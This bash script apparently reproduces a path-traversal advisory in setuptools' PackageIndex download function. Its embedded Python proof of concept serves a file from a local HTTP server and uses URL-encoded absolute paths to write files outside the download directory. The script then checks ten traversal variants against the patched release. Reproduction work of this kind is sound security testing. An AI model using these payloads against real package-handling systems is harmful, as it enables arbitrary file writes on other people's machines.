#!/usr/bin/env bash
set -euo pipefail

# Absolute paths only
BASE_DIR="/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622/bundle"
REPRO_DIR="$BASE_DIR/repro"
LOG_DIR="$BASE_DIR/logs"
VENV_DIR="$REPRO_DIR/venv"
PIP_LOG="$LOG_DIR/pip_install.log"
POC_LOG_VULN="$LOG_DIR/poc_vulnerable.log"
POC_LOG_PATCHED="$LOG_DIR/poc_patched.log"
RESULT_JSON="$LOG_DIR/result.json"
ATTEMPTS_FILE="$REPRO_DIR/attempts.txt"

mkdir -p "$REPRO_DIR" "$LOG_DIR"
chmod 700 "$REPRO_DIR" "$LOG_DIR"

PYTHON_BIN="$(command -v python3 || true)"
if [[ -z "${PYTHON_BIN}" ]]; then
  echo "python3 not found" | tee -a "$RESULT_JSON"
  exit 1
fi

# Create venv idempotently
if [[ ! -d "$VENV_DIR" ]]; then
  "$PYTHON_BIN" -m venv "$VENV_DIR"
fi

# Ensure pip is up to date enough to install specific versions
"$VENV_DIR/bin/python" -m pip install --upgrade pip wheel setuptools -q >>"$PIP_LOG" 2>&1 || true

# Helper: write PoC Python script (idempotent)
POC_PY="$REPRO_DIR/poc.py"
cat > "$POC_PY" << 'PYEOF'
import http.server
import socketserver
import threading
import os
import sys
import json
from urllib.parse import unquote

try:
    from setuptools.package_index import PackageIndex
    import setuptools
except Exception as e:
    print(json.dumps({"error": f"import_failed: {e}"}))
    sys.exit(0)

CONTENT = b"SETUPTOOLS_POC_CONTENT\n"

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = CONTENT
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, fmt, *args):
        return


def main():
    # Inputs from env
    # Mode A (vuln trigger): set URL_SEGMENT to last path segment, e.g. %2Ftmp%2Fpwn.txt
    # Mode B (legacy): set EGG_NAME to place absolute path in fragment
    url_segment = os.environ.get("URL_SEGMENT")
    egg_name = os.environ.get("EGG_NAME")
    tmpdir = os.environ.get("TMPDIR_PATH", "/tmp/setuptools_tmpdl")
    os.makedirs(tmpdir, exist_ok=True)

    # Start server and get port
    r, w = os.pipe()
    def server_target():
        with socketserver.TCPServer(("127.0.0.1", 0), Handler) as httpd:
            os.write(w, str(httpd.server_address[1]).encode("ascii"))
            httpd.serve_forever()
    t = threading.Thread(target=server_target, daemon=True)
    t.start()
    port = int(os.read(r, 32).decode("ascii"))

    if url_segment:
        url = f"http://127.0.0.1:{port}/{url_segment}"
        expected_basis = unquote(url_segment)
    else:
        seg = "file.bin"
        url = f"http://127.0.0.1:{port}/{seg}"
        if egg_name:
            url += f"#egg={egg_name}"
        expected_basis = unquote(egg_name) if egg_name else seg

    result = {
        "setuptools_version": getattr(setuptools, "__version__", "unknown"),
        "url": url,
        "tmpdir": tmpdir,
        "expected_basis": expected_basis,
        "expected_abs_target": None,
        "expected_tmp_target": None,
        "downloaded_to": None,
        "abs_file_exists": False,
        "abs_file_content_matches": False,
        "tmp_file_exists": False,
        "tmp_file_content_matches": False,
        "exception": None,
    }

    if os.path.isabs(expected_basis):
        result["expected_abs_target"] = expected_basis
    else:
        result["expected_tmp_target"] = os.path.join(tmpdir, expected_basis)

    pi = PackageIndex()

    try:
        downloaded_path = pi._download_url(url, tmpdir)
        result["downloaded_to"] = downloaded_path
    except Exception as e:
        result["exception"] = f"{type(e).__name__}: {e}"

    # Check filesystem effects
    if result["expected_abs_target"]:
        p = result["expected_abs_target"]
        if os.path.exists(p):
            result["abs_file_exists"] = True
            try:
                result["abs_file_content_matches"] = (open(p, "rb").read() == CONTENT)
            except Exception:
                pass
    if result["expected_tmp_target"]:
        p = result["expected_tmp_target"]
        if os.path.exists(p):
            result["tmp_file_exists"] = True
            try:
                result["tmp_file_content_matches"] = (open(p, "rb").read() == CONTENT)
            except Exception:
                pass

    print(json.dumps(result))

if __name__ == "__main__":
    main()
PYEOF
chmod +x "$POC_PY"

# Write attempts list to a file (avoid read -d) for set -e safety
cat > "$ATTEMPTS_FILE" <<'EOF'
%2Ftmp%2Fsetuptools_pwned_p1.txt
//tmp/setuptools_pwned_p3.txt
/tmp//setuptools_pwned_p4.txt
/tmp/./setuptools_pwned_p7.txt
%2Fvar%2Ftmp%2Fsetuptools_pwned_p5.txt
%2Ftmp%2F..%2Fetc%2Fsetuptools_pwned_p6.txt
%2Ftmp%2Fsetuptools_pwned_p2.txt
%2Ftmp%2Fspace%20in%20name_p11.txt
%255Ctmp%255Cwinsep_p12.txt
C:%5Ctmp%5Cwin_drive_p13.txt
EOF

# Functions
try_install_vuln() {
  local -a versions=("78.1.0" "78.0.0" "77.0.0")
  for v in "${versions[@]}"; do
    if "$VENV_DIR/bin/pip" install -q --no-input --upgrade "setuptools==${v}" >>"$PIP_LOG" 2>&1; then
      echo "$v"
      return 0
    fi
  done
  return 1
}

install_patched_latest() {
  "$VENV_DIR/bin/pip" install -q --no-input --upgrade "setuptools==78.1.1" >>"$PIP_LOG" 2>&1 || true
  "$VENV_DIR/bin/pip" install -q --no-input --upgrade setuptools >>"$PIP_LOG" 2>&1 || true
}

# Clean artifacts
rm -f /tmp/setuptools_pwned.txt
rm -rf /tmp/setuptools_tmpdl
mkdir -p /tmp/setuptools_tmpdl

# 1) Vulnerable run using encoded absolute path in last URL segment
VULN_VER="$(try_install_vuln || true)"
if [[ -z "$VULN_VER" ]]; then
  echo "Failed to install a vulnerable setuptools version" | tee -a "$POC_LOG_VULN"
  echo '{"stage":"vulnerable_install","status":"failed"}' > "$RESULT_JSON"
  echo "NOT_REPRODUCED"
  exit 1
fi

echo "Installed vulnerable setuptools==${VULN_VER}" | tee "$POC_LOG_VULN"

URL_SEGMENT="%2Ftmp%2Fsetuptools_pwned.txt" TMPDIR_PATH="/tmp/setuptools_tmpdl" \
  "$VENV_DIR/bin/python" "$POC_PY" | tee -a "$POC_LOG_VULN" > "$LOG_DIR/poc_vulnerable.jsonl"

REPRODUCED=1
if python3 - <<'PY'
import json,sys
p="/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622/bundle/logs/poc_vulnerable.jsonl"
try:
    data=json.load(open(p))
    ok=data.get("abs_file_exists") and data.get("abs_file_content_matches")
    sys.exit(0 if ok else 1)
except Exception:
    sys.exit(1)
PY
then
  REPRODUCED=0
fi

# 2) Patched latest and verify blocked with 10+ variants targeting URL segment
: > "$POC_LOG_PATCHED"
: > "$LOG_DIR/poc_patched.jsonl"

install_patched_latest

BLOCKED_ALL=true
while IFS= read -r attempt || [[ -n "$attempt" ]]; do
  [[ -z "$attempt" ]] && continue
  URL_SEGMENT="$attempt" TMPDIR_PATH="/tmp/setuptools_tmpdl" \
    "$VENV_DIR/bin/python" "$POC_PY" | tee -a "$POC_LOG_PATCHED" >> "$LOG_DIR/poc_patched.jsonl"
  last_line=$(tail -n 1 "$LOG_DIR/poc_patched.jsonl" || true)
  # If import failed (package_index removed), that's considered BLOCKED
  if [[ "$last_line" == *"\"error\": \"import_failed"* ]]; then
    continue
  fi
  # If any absolute path file got created, then not fully blocked
  if [[ "$last_line" == *"\"abs_file_exists\": true"* ]]; then
    BLOCKED_ALL=false
  fi
  # Cleanup any abs files created
  py=$(python3 - <<PY
import os,sys,urllib.parse
name=urllib.parse.unquote("""$attempt""")
if os.path.isabs(name):
    print(name)
PY
  )
  if [[ -n "$py" ]]; then rm -f "$py"; fi

done < "$ATTEMPTS_FILE"

SUMMARY=$(python3 - <<PY
import json,os
vuln={}
try:
    with open("$LOG_DIR/poc_vulnerable.jsonl") as f:
        for line in f:
            if line.strip().startswith("{"):
                vuln=json.loads(line)
except Exception:
    pass
patched_lines=[]
try:
    with open("$LOG_DIR/poc_patched.jsonl") as f:
        patched_lines=[json.loads(l) for l in f if l.strip().startswith('{')]
except Exception:
    pass
out={
  "vuln_version": vuln.get("setuptools_version"),
  "reproduced": bool($REPRODUCED == 0),
  "abs_target": vuln.get("expected_abs_target"),
  "downloaded_to": vuln.get("downloaded_to"),
  "patched_attempts": len(patched_lines),
  "patched_versions": sorted({l.get('setuptools_version','unknown') for l in patched_lines}),
  "patched_all_blocked": bool("$BLOCKED_ALL" == "true"),
}
print(json.dumps(out))
PY
)

echo "$SUMMARY" > "$RESULT_JSON"

if [[ $REPRODUCED -eq 0 ]]; then
  echo "Reproduction SUCCEEDED" | tee -a "$RESULT_JSON"
  exit 0
else
  echo "Reproduction FAILED" | tee -a "$RESULT_JSON"
  exit 1
fi